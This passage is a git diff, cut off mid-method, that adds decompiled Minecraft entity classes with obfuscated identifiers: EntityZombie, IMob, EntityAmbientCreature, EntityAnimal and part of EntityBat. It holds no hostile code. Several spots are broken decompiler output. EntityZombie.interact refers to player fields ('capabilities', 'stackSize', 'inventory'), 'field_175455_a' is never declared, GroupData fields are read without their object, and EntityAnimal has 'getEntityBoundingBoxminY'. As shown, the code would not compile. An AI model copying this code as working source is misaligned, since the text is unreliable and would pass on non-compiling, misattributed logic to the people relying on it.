+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.ai.attributes.RangedAttribute;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+
+public class EntityZombie extends EntityMob
+{
+  protected static final IAttribute field_110186_bp = new RangedAttribute(null, "zombie.spawnReinforcements", 0.0D, 0.0D, 1.0D).setDescription("Spawn Reinforcements Chance");
+  private static final UUID babySpeedBoostUUID = UUID.fromString("B9766B59-9566-4402-BC1F-2EE2A276D836");
+  private static final AttributeModifier babySpeedBoostModifier = new AttributeModifier(babySpeedBoostUUID, "Baby speed boost", 0.5D, 1);
+  private final EntityAIBreakDoor field_146075_bs = new EntityAIBreakDoor(this);
+  
+
+  private int conversionTime;
+  
+
+  private boolean field_146076_bu = false;
+  private float field_146074_bv = -1.0F;
+  private float field_146073_bw;
+  private static final String __OBFID = "CL_00001702";
+  
+  public EntityZombie(World worldIn)
+  {
+    super(worldIn);
+    ((PathNavigateGround)getNavigator()).func_179688_b(true);
+    tasks.addTask(0, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, new EntityAIAttackOnCollide(this, EntityPlayer.class, 1.0D, false));
+    tasks.addTask(2, field_175455_a);
+    tasks.addTask(5, new EntityAIMoveTowardsRestriction(this, 1.0D));
+    tasks.addTask(7, new net.minecraft.entity.ai.EntityAIWander(this, 1.0D));
+    tasks.addTask(8, new net.minecraft.entity.ai.EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(8, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    func_175456_n();
+    setSize(0.6F, 1.95F);
+  }
+  
+  protected void func_175456_n()
+  {
+    tasks.addTask(4, new EntityAIAttackOnCollide(this, EntityVillager.class, 1.0D, true));
+    tasks.addTask(4, new EntityAIAttackOnCollide(this, EntityIronGolem.class, 1.0D, true));
+    tasks.addTask(6, new net.minecraft.entity.ai.EntityAIMoveThroughVillage(this, 1.0D, false));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, true, new Class[] { EntityPigZombie.class }));
+    targetTasks.addTask(2, new EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+    targetTasks.addTask(2, new EntityAINearestAttackableTarget(this, EntityVillager.class, false));
+    targetTasks.addTask(2, new EntityAINearestAttackableTarget(this, EntityIronGolem.class, true));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.followRange).setBaseValue(35.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.23000000417232513D);
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(3.0D);
+    getAttributeMap().registerAttribute(field_110186_bp).setBaseValue(rand.nextDouble() * 0.10000000149011612D);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    getDataWatcher().addObject(12, Byte.valueOf((byte)0));
+    getDataWatcher().addObject(13, Byte.valueOf((byte)0));
+    getDataWatcher().addObject(14, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  public int getTotalArmorValue()
+  {
+    int var1 = super.getTotalArmorValue() + 2;
+    
+    if (var1 > 20)
+    {
+      var1 = 20;
+    }
+    
+    return var1;
+  }
+  
+  public boolean func_146072_bX()
+  {
+    return field_146076_bu;
+  }
+  
+  public void func_146070_a(boolean p_146070_1_)
+  {
+    if (field_146076_bu != p_146070_1_)
+    {
+      field_146076_bu = p_146070_1_;
+      
+      if (p_146070_1_)
+      {
+        tasks.addTask(1, field_146075_bs);
+      }
+      else
+      {
+        tasks.removeTask(field_146075_bs);
+      }
+    }
+  }
+  
+
+
+
+  public boolean isChild()
+  {
+    return getDataWatcher().getWatchableObjectByte(12) == 1;
+  }
+  
+
+
+
+  protected int getExperiencePoints(EntityPlayer p_70693_1_)
+  {
+    if (isChild())
+    {
+      experienceValue = ((int)(experienceValue * 2.5F));
+    }
+    
+    return super.getExperiencePoints(p_70693_1_);
+  }
+  
+
+
+
+  public void setChild(boolean p_82227_1_)
+  {
+    getDataWatcher().updateObject(12, Byte.valueOf((byte)(p_82227_1_ ? 1 : 0)));
+    
+    if ((worldObj != null) && (!worldObj.isRemote))
+    {
+      IAttributeInstance var2 = getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+      var2.removeModifier(babySpeedBoostModifier);
+      
+      if (p_82227_1_)
+      {
+        var2.applyModifier(babySpeedBoostModifier);
+      }
+    }
+    
+    func_146071_k(p_82227_1_);
+  }
+  
+
+
+
+  public boolean isVillager()
+  {
+    return getDataWatcher().getWatchableObjectByte(13) == 1;
+  }
+  
+
+
+
+  public void setVillager(boolean p_82229_1_)
+  {
+    getDataWatcher().updateObject(13, Byte.valueOf((byte)(p_82229_1_ ? 1 : 0)));
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if ((worldObj.isDaytime()) && (!worldObj.isRemote) && (!isChild()))
+    {
+      float var1 = getBrightness(1.0F);
+      BlockPos var2 = new BlockPos(posX, Math.round(posY), posZ);
+      
+      if ((var1 > 0.5F) && (rand.nextFloat() * 30.0F < (var1 - 0.4F) * 2.0F) && (worldObj.isAgainstSky(var2)))
+      {
+        boolean var3 = true;
+        ItemStack var4 = getEquipmentInSlot(4);
+        
+        if (var4 != null)
+        {
+          if (var4.isItemStackDamageable())
+          {
+            var4.setItemDamage(var4.getItemDamage() + rand.nextInt(2));
+            
+            if (var4.getItemDamage() >= var4.getMaxDamage())
+            {
+              renderBrokenItemStack(var4);
+              setCurrentItemOrArmor(4, null);
+            }
+          }
+          
+          var3 = false;
+        }
+        
+        if (var3)
+        {
+          setFire(8);
+        }
+      }
+    }
+    
+    if ((isRiding()) && (getAttackTarget() != null) && ((ridingEntity instanceof EntityChicken)))
+    {
+      ((EntityLiving)ridingEntity).getNavigator().setPath(getNavigator().getPath(), 1.5D);
+    }
+    
+    super.onLivingUpdate();
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (super.attackEntityFrom(source, amount))
+    {
+      EntityLivingBase var3 = getAttackTarget();
+      
+      if ((var3 == null) && ((source.getEntity() instanceof EntityLivingBase)))
+      {
+        var3 = (EntityLivingBase)source.getEntity();
+      }
+      
+      if ((var3 != null) && (worldObj.getDifficulty() == EnumDifficulty.HARD) && (rand.nextFloat() < getEntityAttribute(field_110186_bp).getAttributeValue()))
+      {
+        int var4 = MathHelper.floor_double(posX);
+        int var5 = MathHelper.floor_double(posY);
+        int var6 = MathHelper.floor_double(posZ);
+        EntityZombie var7 = new EntityZombie(worldObj);
+        
+        for (int var8 = 0; var8 < 50; var8++)
+        {
+          int var9 = var4 + MathHelper.getRandomIntegerInRange(rand, 7, 40) * MathHelper.getRandomIntegerInRange(rand, -1, 1);
+          int var10 = var5 + MathHelper.getRandomIntegerInRange(rand, 7, 40) * MathHelper.getRandomIntegerInRange(rand, -1, 1);
+          int var11 = var6 + MathHelper.getRandomIntegerInRange(rand, 7, 40) * MathHelper.getRandomIntegerInRange(rand, -1, 1);
+          
+          if ((World.doesBlockHaveSolidTopSurface(worldObj, new BlockPos(var9, var10 - 1, var11))) && (worldObj.getLightFromNeighbors(new BlockPos(var9, var10, var11)) < 10))
+          {
+            var7.setPosition(var9, var10, var11);
+            
+            if ((!worldObj.func_175636_b(var9, var10, var11, 7.0D)) && (worldObj.checkNoEntityCollision(var7.getEntityBoundingBox(), var7)) && (worldObj.getCollidingBoundingBoxes(var7, var7.getEntityBoundingBox()).isEmpty()) && (!worldObj.isAnyLiquid(var7.getEntityBoundingBox())))
+            {
+              worldObj.spawnEntityInWorld(var7);
+              var7.setAttackTarget(var3);
+              var7.func_180482_a(worldObj.getDifficultyForLocation(new BlockPos(var7)), null);
+              getEntityAttribute(field_110186_bp).applyModifier(new AttributeModifier("Zombie reinforcement caller charge", -0.05000000074505806D, 0));
+              var7.getEntityAttribute(field_110186_bp).applyModifier(new AttributeModifier("Zombie reinforcement callee charge", -0.05000000074505806D, 0));
+              break;
+            }
+          }
+        }
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public void onUpdate()
+  {
+    if ((!worldObj.isRemote) && (isConverting()))
+    {
+      int var1 = getConversionTimeBoost();
+      conversionTime -= var1;
+      
+      if (conversionTime <= 0)
+      {
+        convertToVillager();
+      }
+    }
+    
+    super.onUpdate();
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    boolean var2 = super.attackEntityAsMob(p_70652_1_);
+    
+    if (var2)
+    {
+      int var3 = worldObj.getDifficulty().getDifficultyId();
+      
+      if ((getHeldItem() == null) && (isBurning()) && (rand.nextFloat() < var3 * 0.3F))
+      {
+        p_70652_1_.setFire(2 * var3);
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.zombie.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.zombie.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.zombie.death";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.zombie.step", 0.15F, 1.0F);
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.rotten_flesh;
+  }
+  
+
+
+
+  public EnumCreatureAttribute getCreatureAttribute()
+  {
+    return EnumCreatureAttribute.UNDEAD;
+  }
+  
+
+
+
+  protected void addRandomArmor()
+  {
+    switch (rand.nextInt(3))
+    {
+    case 0: 
+      dropItem(Items.iron_ingot, 1);
+      break;
+    
+    case 1: 
+      dropItem(Items.carrot, 1);
+      break;
+    
+    case 2: 
+      dropItem(Items.potato, 1);
+    }
+  }
+  
+  protected void func_180481_a(DifficultyInstance p_180481_1_)
+  {
+    super.func_180481_a(p_180481_1_);
+    
+    if (rand.nextFloat() < (worldObj.getDifficulty() == EnumDifficulty.HARD ? 0.05F : 0.01F))
+    {
+      int var2 = rand.nextInt(3);
+      
+      if (var2 == 0)
+      {
+        setCurrentItemOrArmor(0, new ItemStack(Items.iron_sword));
+      }
+      else
+      {
+        setCurrentItemOrArmor(0, new ItemStack(Items.iron_shovel));
+      }
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    
+    if (isChild())
+    {
+      tagCompound.setBoolean("IsBaby", true);
+    }
+    
+    if (isVillager())
+    {
+      tagCompound.setBoolean("IsVillager", true);
+    }
+    
+    tagCompound.setInteger("ConversionTime", isConverting() ? conversionTime : -1);
+    tagCompound.setBoolean("CanBreakDoors", func_146072_bX());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.getBoolean("IsBaby"))
+    {
+      setChild(true);
+    }
+    
+    if (tagCompund.getBoolean("IsVillager"))
+    {
+      setVillager(true);
+    }
+    
+    if ((tagCompund.hasKey("ConversionTime", 99)) && (tagCompund.getInteger("ConversionTime") > -1))
+    {
+      startConversion(tagCompund.getInteger("ConversionTime"));
+    }
+    
+    func_146070_a(tagCompund.getBoolean("CanBreakDoors"));
+  }
+  
+
+
+
+  public void onKillEntity(EntityLivingBase entityLivingIn)
+  {
+    super.onKillEntity(entityLivingIn);
+    
+    if (((worldObj.getDifficulty() == EnumDifficulty.NORMAL) || (worldObj.getDifficulty() == EnumDifficulty.HARD)) && ((entityLivingIn instanceof EntityVillager)))
+    {
+      if ((worldObj.getDifficulty() != EnumDifficulty.HARD) && (rand.nextBoolean()))
+      {
+        return;
+      }
+      
+      EntityZombie var2 = new EntityZombie(worldObj);
+      var2.copyLocationAndAnglesFrom(entityLivingIn);
+      worldObj.removeEntity(entityLivingIn);
+      var2.func_180482_a(worldObj.getDifficultyForLocation(new BlockPos(var2)), null);
+      var2.setVillager(true);
+      
+      if (entityLivingIn.isChild())
+      {
+        var2.setChild(true);
+      }
+      
+      worldObj.spawnEntityInWorld(var2);
+      worldObj.playAuxSFXAtEntity(null, 1016, new BlockPos((int)posX, (int)posY, (int)posZ), 0);
+    }
+  }
+  
+  public float getEyeHeight()
+  {
+    float var1 = 1.74F;
+    
+    if (isChild())
+    {
+      var1 = (float)(var1 - 0.81D);
+    }
+    
+    return var1;
+  }
+  
+  protected boolean func_175448_a(ItemStack p_175448_1_)
+  {
+    return (p_175448_1_.getItem() == Items.egg) && (isChild()) && (isRiding()) ? false : super.func_175448_a(p_175448_1_);
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    Object p_180482_2_1 = super.func_180482_a(p_180482_1_, p_180482_2_);
+    float var3 = p_180482_1_.func_180170_c();
+    setCanPickUpLoot(rand.nextFloat() < 0.55F * var3);
+    
+    if (p_180482_2_1 == null)
+    {
+      p_180482_2_1 = new GroupData(worldObj.rand.nextFloat() < 0.05F, worldObj.rand.nextFloat() < 0.05F, null);
+    }
+    
+    if ((p_180482_2_1 instanceof GroupData))
+    {
+      GroupData var4 = (GroupData)p_180482_2_1;
+      
+      if (field_142046_b)
+      {
+        setVillager(true);
+      }
+      
+      if (field_142048_a)
+      {
+        setChild(true);
+        
+        if (worldObj.rand.nextFloat() < 0.05D)
+        {
+          List var5 = worldObj.func_175647_a(EntityChicken.class, getEntityBoundingBox().expand(5.0D, 3.0D, 5.0D), net.minecraft.command.IEntitySelector.field_152785_b);
+          
+          if (!var5.isEmpty())
+          {
+            EntityChicken var6 = (EntityChicken)var5.get(0);
+            var6.func_152117_i(true);
+            mountEntity(var6);
+          }
+        }
+        else if (worldObj.rand.nextFloat() < 0.05D)
+        {
+          EntityChicken var10 = new EntityChicken(worldObj);
+          var10.setLocationAndAngles(posX, posY, posZ, rotationYaw, 0.0F);
+          var10.func_180482_a(p_180482_1_, null);
+          var10.func_152117_i(true);
+          worldObj.spawnEntityInWorld(var10);
+          mountEntity(var10);
+        }
+      }
+    }
+    
+    func_146070_a(rand.nextFloat() < var3 * 0.1F);
+    func_180481_a(p_180482_1_);
+    func_180483_b(p_180482_1_);
+    
+    if (getEquipmentInSlot(4) == null)
+    {
+      Calendar var8 = worldObj.getCurrentDate();
+      
+      if ((var8.get(2) + 1 == 10) && (var8.get(5) == 31) && (rand.nextFloat() < 0.25F))
+      {
+        setCurrentItemOrArmor(4, new ItemStack(rand.nextFloat() < 0.1F ? Blocks.lit_pumpkin : Blocks.pumpkin));
+        equipmentDropChances[4] = 0.0F;
+      }
+    }
+    
+    getEntityAttribute(SharedMonsterAttributes.knockbackResistance).applyModifier(new AttributeModifier("Random spawn bonus", rand.nextDouble() * 0.05000000074505806D, 0));
+    double var9 = rand.nextDouble() * 1.5D * var3;
+    
+    if (var9 > 1.0D)
+    {
+      getEntityAttribute(SharedMonsterAttributes.followRange).applyModifier(new AttributeModifier("Random zombie-spawn bonus", var9, 2));
+    }
+    
+    if (rand.nextFloat() < var3 * 0.05F)
+    {
+      getEntityAttribute(field_110186_bp).applyModifier(new AttributeModifier("Leader zombie bonus", rand.nextDouble() * 0.25D + 0.5D, 0));
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).applyModifier(new AttributeModifier("Leader zombie bonus", rand.nextDouble() * 3.0D + 1.0D, 2));
+      func_146070_a(true);
+    }
+    
+    return (IEntityLivingData)p_180482_2_1;
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = p_70085_1_.getCurrentEquippedItem();
+    
+    if ((var2 != null) && (var2.getItem() == Items.golden_apple) && (var2.getMetadata() == 0) && (isVillager()) && (isPotionActive(Potion.weakness)))
+    {
+      if (!capabilities.isCreativeMode)
+      {
+        stackSize -= 1;
+      }
+      
+      if (stackSize <= 0)
+      {
+        inventory.setInventorySlotContents(inventory.currentItem, null);
+      }
+      
+      if (!worldObj.isRemote)
+      {
+        startConversion(rand.nextInt(2401) + 3600);
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  protected void startConversion(int p_82228_1_)
+  {
+    conversionTime = p_82228_1_;
+    getDataWatcher().updateObject(14, Byte.valueOf((byte)1));
+    removePotionEffect(weaknessid);
+    addPotionEffect(new PotionEffect(damageBoostid, p_82228_1_, Math.min(worldObj.getDifficulty().getDifficultyId() - 1, 0)));
+    worldObj.setEntityState(this, (byte)16);
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 16)
+    {
+      if (!isSlient())
+      {
+        worldObj.playSound(posX + 0.5D, posY + 0.5D, posZ + 0.5D, "mob.zombie.remedy", 1.0F + rand.nextFloat(), rand.nextFloat() * 0.7F + 0.3F, false);
+      }
+      
+    }
+    else {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return !isConverting();
+  }
+  
+
+
+
+  public boolean isConverting()
+  {
+    return getDataWatcher().getWatchableObjectByte(14) == 1;
+  }
+  
+
+
+
+  protected void convertToVillager()
+  {
+    EntityVillager var1 = new EntityVillager(worldObj);
+    var1.copyLocationAndAnglesFrom(this);
+    var1.func_180482_a(worldObj.getDifficultyForLocation(new BlockPos(var1)), null);
+    var1.setLookingForHome();
+    
+    if (isChild())
+    {
+      var1.setGrowingAge(41536);
+    }
+    
+    worldObj.removeEntity(this);
+    worldObj.spawnEntityInWorld(var1);
+    var1.addPotionEffect(new PotionEffect(confusionid, 200, 0));
+    worldObj.playAuxSFXAtEntity(null, 1017, new BlockPos((int)posX, (int)posY, (int)posZ), 0);
+  }
+  
+
+
+
+  protected int getConversionTimeBoost()
+  {
+    int var1 = 1;
+    
+    if (rand.nextFloat() < 0.01F)
+    {
+      int var2 = 0;
+      
+      for (int var3 = (int)posX - 4; (var3 < (int)posX + 4) && (var2 < 14); var3++)
+      {
+        for (int var4 = (int)posY - 4; (var4 < (int)posY + 4) && (var2 < 14); var4++)
+        {
+          for (int var5 = (int)posZ - 4; (var5 < (int)posZ + 4) && (var2 < 14); var5++)
+          {
+            Block var6 = worldObj.getBlockState(new BlockPos(var3, var4, var5)).getBlock();
+            
+            if ((var6 == Blocks.iron_bars) || (var6 == Blocks.bed))
+            {
+              if (rand.nextFloat() < 0.3F)
+              {
+                var1++;
+              }
+              
+              var2++;
+            }
+          }
+        }
+      }
+    }
+    
+    return var1;
+  }
+  
+  public void func_146071_k(boolean p_146071_1_)
+  {
+    func_146069_a(p_146071_1_ ? 0.5F : 1.0F);
+  }
+  
+
+
+
+  protected final void setSize(float width, float height)
+  {
+    boolean var3 = (field_146074_bv > 0.0F) && (field_146073_bw > 0.0F);
+    field_146074_bv = width;
+    field_146073_bw = height;
+    
+    if (!var3)
+    {
+      func_146069_a(1.0F);
+    }
+  }
+  
+  protected final void func_146069_a(float p_146069_1_)
+  {
+    super.setSize(field_146074_bv * p_146069_1_, field_146073_bw * p_146069_1_);
+  }
+  
+
+
+
+  public double getYOffset()
+  {
+    return super.getYOffset() - 0.5D;
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    super.onDeath(cause);
+    
+    if (((cause.getEntity() instanceof EntityCreeper)) && (!(this instanceof EntityPigZombie)) && (((EntityCreeper)cause.getEntity()).getPowered()) && (((EntityCreeper)cause.getEntity()).isAIEnabled()))
+    {
+      ((EntityCreeper)cause.getEntity()).func_175493_co();
+      entityDropItem(new ItemStack(Items.skull, 1, 2), 0.0F);
+    }
+  }
+  
+  class GroupData implements IEntityLivingData
+  {
+    public boolean field_142048_a;
+    public boolean field_142046_b;
+    private static final String __OBFID = "CL_00001704";
+    
+    private GroupData(boolean p_i2348_2_, boolean p_i2348_3_)
+    {
+      field_142048_a = false;
+      field_142046_b = false;
+      field_142048_a = p_i2348_2_;
+      field_142046_b = p_i2348_3_;
+    }
+    
+    GroupData(boolean p_i2349_2_, boolean p_i2349_3_, Object p_i2349_4_)
+    {
+      this(p_i2349_2_, p_i2349_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/IMob.java b/src/minecraft/net/minecraft/entity/monster/IMob.java
new file mode 100644
index 0000000..af3ba99
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/IMob.java
@@ -0,0 +1,34 @@
+package net.minecraft.entity.monster;
+
+import com.google.common.base.Predicate;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.IAnimals;
+
+public abstract interface IMob
+  extends IAnimals
+{
+  public static final Predicate mobSelector = new Predicate()
+  {
+    private static final String __OBFID = "CL_00001688";
+    
+    public boolean func_179983_a(Entity p_179983_1_) {
+      return p_179983_1_ instanceof IMob;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_179983_a((Entity)p_apply_1_);
+    }
+  };
+  public static final Predicate field_175450_e = new Predicate()
+  {
+    private static final String __OBFID = "CL_00002218";
+    
+    public boolean func_179982_a(Entity p_179982_1_) {
+      return ((p_179982_1_ instanceof IMob)) && (!p_179982_1_.isInvisible());
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_179982_a((Entity)p_apply_1_);
+    }
+  };
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityAmbientCreature.java b/src/minecraft/net/minecraft/entity/passive/EntityAmbientCreature.java
new file mode 100644
index 0000000..d4176a2
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityAmbientCreature.java
@@ -0,0 +1,28 @@
+package net.minecraft.entity.passive;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.world.World;
+
+public abstract class EntityAmbientCreature extends EntityLiving implements IAnimals
+{
+  private static final String __OBFID = "CL_00001636";
+  
+  public EntityAmbientCreature(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public boolean allowLeashing()
+  {
+    return false;
+  }
+  
+
+
+
+  protected boolean interact(EntityPlayer p_70085_1_)
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityAnimal.java b/src/minecraft/net/minecraft/entity/passive/EntityAnimal.java
new file mode 100644
index 0000000..a4e1705
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityAnimal.java
@@ -0,0 +1,240 @@
+package net.minecraft.entity.passive;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public abstract class EntityAnimal extends EntityAgeable implements IAnimals
+{
+  protected net.minecraft.block.Block field_175506_bl;
+  private int inLove;
+  private EntityPlayer playerInLove;
+  private static final String __OBFID = "CL_00001638";
+  
+  public EntityAnimal(World worldIn)
+  {
+    super(worldIn);
+    field_175506_bl = net.minecraft.init.Blocks.grass;
+  }
+  
+  protected void updateAITasks()
+  {
+    if (getGrowingAge() != 0)
+    {
+      inLove = 0;
+    }
+    
+    super.updateAITasks();
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    
+    if (getGrowingAge() != 0)
+    {
+      inLove = 0;
+    }
+    
+    if (inLove > 0)
+    {
+      inLove -= 1;
+      
+      if (inLove % 10 == 0)
+      {
+        double var1 = rand.nextGaussian() * 0.02D;
+        double var3 = rand.nextGaussian() * 0.02D;
+        double var5 = rand.nextGaussian() * 0.02D;
+        worldObj.spawnParticle(EnumParticleTypes.HEART, posX + rand.nextFloat() * width * 2.0F - width, posY + 0.5D + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, var1, var3, var5, new int[0]);
+      }
+    }
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    inLove = 0;
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+  public float func_180484_a(BlockPos p_180484_1_)
+  {
+    return worldObj.getBlockState(p_180484_1_.offsetDown()).getBlock() == net.minecraft.init.Blocks.grass ? 10.0F : worldObj.getLightBrightness(p_180484_1_) - 0.5F;
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("InLove", inLove);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    inLove = tagCompund.getInteger("InLove");
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    int var1 = MathHelper.floor_double(posX);
+    int var2 = MathHelper.floor_double(getEntityBoundingBoxminY);
+    int var3 = MathHelper.floor_double(posZ);
+    BlockPos var4 = new BlockPos(var1, var2, var3);
+    return (worldObj.getBlockState(var4.offsetDown()).getBlock() == field_175506_bl) && (worldObj.getLight(var4) > 8) && (super.getCanSpawnHere());
+  }
+  
+
+
+
+  public int getTalkInterval()
+  {
+    return 120;
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return false;
+  }
+  
+
+
+
+  protected int getExperiencePoints(EntityPlayer p_70693_1_)
+  {
+    return 1 + worldObj.rand.nextInt(3);
+  }
+  
+
+
+
+
+  public boolean isBreedingItem(ItemStack p_70877_1_)
+  {
+    return p_70877_1_ != null;
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if (var2 != null)
+    {
+      if ((isBreedingItem(var2)) && (getGrowingAge() == 0) && (inLove <= 0))
+      {
+        func_175505_a(p_70085_1_, var2);
+        setInLove(p_70085_1_);
+        return true;
+      }
+      
+      if ((isChild()) && (isBreedingItem(var2)))
+      {
+        func_175505_a(p_70085_1_, var2);
+        func_175501_a((int)(-getGrowingAge() / 20 * 0.1F), true);
+        return true;
+      }
+    }
+    
+    return super.interact(p_70085_1_);
+  }
+  
+  protected void func_175505_a(EntityPlayer p_175505_1_, ItemStack p_175505_2_)
+  {
+    if (!capabilities.isCreativeMode)
+    {
+      stackSize -= 1;
+      
+      if (stackSize <= 0)
+      {
+        inventory.setInventorySlotContents(inventory.currentItem, null);
+      }
+    }
+  }
+  
+  public void setInLove(EntityPlayer p_146082_1_)
+  {
+    inLove = 600;
+    playerInLove = p_146082_1_;
+    worldObj.setEntityState(this, (byte)18);
+  }
+  
+  public EntityPlayer func_146083_cb()
+  {
+    return playerInLove;
+  }
+  
+
+
+
+  public boolean isInLove()
+  {
+    return inLove > 0;
+  }
+  
+  public void resetInLove()
+  {
+    inLove = 0;
+  }
+  
+
+
+
+  public boolean canMateWith(EntityAnimal p_70878_1_)
+  {
+    return p_70878_1_ != this;
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 18)
+    {
+      for (int var2 = 0; var2 < 7; var2++)
+      {
+        double var3 = rand.nextGaussian() * 0.02D;
+        double var5 = rand.nextGaussian() * 0.02D;
+        double var7 = rand.nextGaussian() * 0.02D;
+        worldObj.spawnParticle(EnumParticleTypes.HEART, posX + rand.nextFloat() * width * 2.0F - width, posY + 0.5D + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, var3, var5, var7, new int[0]);
+      }
+      
+    }
+    else {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityBat.java b/src/minecraft/net/minecraft/entity/passive/EntityBat.java
new file mode 100644
index 0000000..63d9f22
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityBat.java
@@ -0,0 +1,282 @@
+package net.minecraft.entity.passive;
+
+import java.util.Calendar;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityBat extends EntityAmbientCreature
+{
+  private BlockPos spawnPosition;
+  private static final String __OBFID = "CL_00001637";
+  
+  public EntityBat(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.5F, 0.9F);
+    setIsBatHanging(true);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, new Byte((byte)0));
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 0.1F;
+  }
+  
+
+
+
+  protected float getSoundPitch()
+  {
+    return super.getSoundPitch() * 0.95F;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return (getIsBatHanging()) && (rand.nextInt(4) != 0) ? null : "mob.bat.idle";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
